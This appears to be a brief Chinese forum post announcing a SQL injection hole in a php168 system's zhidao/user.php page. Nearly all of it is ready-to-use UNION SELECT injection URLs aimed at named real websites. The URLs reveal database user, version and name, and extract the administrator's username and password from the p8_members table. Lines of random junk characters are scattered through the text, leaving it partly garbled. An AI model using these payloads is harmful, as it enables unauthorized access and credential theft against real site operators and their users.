php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
5 ?  m" v9 q0 u$ ^. D# X                                       
0 \2 g- u, y2 ^5 V( ^0 e# }. e
* a! A, p' V6 ?: Yhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
: D' C3 O: D5 D* S8 U+ t- i- [+ j                                                                  
9 N" C) P% |3 x: s( k% b                                                        
1 E7 Y# @  _9 f) Whttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--


1 n) k4 \! E2 E0 F4 m
# b+ `3 j( N) D/ n( O                                                            
  E. i0 h& Z# i4 G/ L+ i
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


( e( o2 w& R. g8 |$ F# S
                                                                    
! W" F! e4 P* u5 B